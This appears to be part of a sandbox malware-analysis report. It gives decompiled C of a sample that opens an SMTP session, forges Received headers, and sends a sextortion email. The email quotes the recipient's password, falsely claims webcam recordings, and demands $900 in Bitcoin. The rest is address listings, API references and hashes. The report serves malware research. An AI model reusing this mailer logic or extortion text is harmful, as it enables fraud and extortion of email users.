										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										goto L0;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
										E00321320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E00321490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E00321490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00321390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E00321320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E00321320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E00321320(__ecx, 6, __ecx) = E00321320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E00321120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E00321120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E00321320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E00321120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t202 - 8) = 0 |  *(_t202 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t202 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t202 - 0x1c)));
					return  *(_t202 - 8);
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cf9
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b60
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b86
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bab
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c5b
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c68
                                                                                                                                                                                                                                                                                                                                                      0x00321c77
                                                                                                                                                                                                                                                                                                                                                      0x00321c7e
                                                                                                                                                                                                                                                                                                                                                      0x00321c84
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c8d
                                                                                                                                                                                                                                                                                                                                                      0x00321c9b
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca7
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d1f
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d2b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d6b
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d8e
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321da6
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321db3
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dc4
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321dd5
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321de6
                                                                                                                                                                                                                                                                                                                                                      0x00321deb
                                                                                                                                                                                                                                                                                                                                                      0x00321e08
                                                                                                                                                                                                                                                                                                                                                      0x00321e0f
                                                                                                                                                                                                                                                                                                                                                      0x00321e15
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e1e
                                                                                                                                                                                                                                                                                                                                                      0x00321e2c
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
                                                                                                                                                                                                                                                                                                                                                      0x00321e38
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e48
                                                                                                                                                                                                                                                                                                                                                      0x00321e61
                                                                                                                                                                                                                                                                                                                                                      0x00321e6a
                                                                                                                                                                                                                                                                                                                                                      0x00321e78
                                                                                                                                                                                                                                                                                                                                                      0x00321e7f
                                                                                                                                                                                                                                                                                                                                                      0x00321e85
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321e95
                                                                                                                                                                                                                                                                                                                                                      0x00321e9c
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ec4
                                                                                                                                                                                                                                                                                                                                                      0x00321ecb
                                                                                                                                                                                                                                                                                                                                                      0x00321ed1
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eda
                                                                                                                                                                                                                                                                                                                                                      0x00321ee8
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f04
                                                                                                                                                                                                                                                                                                                                                      0x00321f14
                                                                                                                                                                                                                                                                                                                                                      0x00321f1a
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f23
                                                                                                                                                                                                                                                                                                                                                      0x00321f2a
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f57
                                                                                                                                                                                                                                                                                                                                                      0x00321f5e
                                                                                                                                                                                                                                                                                                                                                      0x00321f64
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f6d
                                                                                                                                                                                                                                                                                                                                                      0x00321f7b
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321f97
                                                                                                                                                                                                                                                                                                                                                      0x00321faa
                                                                                                                                                                                                                                                                                                                                                      0x00321fb0
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fb9
                                                                                                                                                                                                                                                                                                                                                      0x00321fc0
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321fe3
                                                                                                                                                                                                                                                                                                                                                      0x00321fea
                                                                                                                                                                                                                                                                                                                                                      0x00322005
                                                                                                                                                                                                                                                                                                                                                      0x00322013
                                                                                                                                                                                                                                                                                                                                                      0x0032201a
                                                                                                                                                                                                                                                                                                                                                      0x00322020
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x00322029
                                                                                                                                                                                                                                                                                                                                                      0x00322037
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205a
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220b4
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f0
                                                                                                                                                                                                                                                                                                                                                      0x00322103
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x00322117
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x00322153
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x0032218f
                                                                                                                                                                                                                                                                                                                                                      0x003221a7
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221ca
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x00322206
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322242
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322279
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222b0
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x003222f8
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321CD3
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketlstrlensendshutdownwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: RCPT TO: <%s>
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1492768164-1854338671
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d4d03f0a5c4bb813bf4d8e61df00e1226f3c99feae51fec2c621f7b3c24c1100
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fc5f8f719be9a937353217d3ccf186a4b58e4140d2b301d636b7e16e3b97aabd
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d4d03f0a5c4bb813bf4d8e61df00e1226f3c99feae51fec2c621f7b3c24c1100
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3E119EB5D00328EFCF12CBA4EC49BEEB378BB58305F004699E609A6240E7795A54CF65
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321D18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 326 321d18-321d2d call 321120 329 321d3b-321d42 326->329 330 321d2f-321d36 326->330 331 3222f3 329->331 330->331 333 321b2a-321b2e 331->333 334 3222f8-322314 shutdown closesocket 331->334 333->334 336 321b34-321b44 call 321160 333->336 337 32231a-322320 334->337 339 321b49-321b59 336->339 340 321b60-321b7f call 3211c0 339->340 341 321b5b 339->341 344 321b81 340->344 345 321b86-321ba5 340->345 341->334 344->334 345->331 346 321bab 345->346 346->331
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E00321D18(void* __eflags) {
				void* _t171;
				intOrPtr _t175;
				char* _t176;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t202;

				L0:
				while(1) {
					L0:
					_t171 = E00321120( *((intOrPtr*)(_t197 - 0x1c)), "DATA\r\n", 0xffffffff); // executed
					_t200 = _t199 + 0xc;
					if(_t171 != 0) {
						 *(_t197 - 0x20) = 6;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
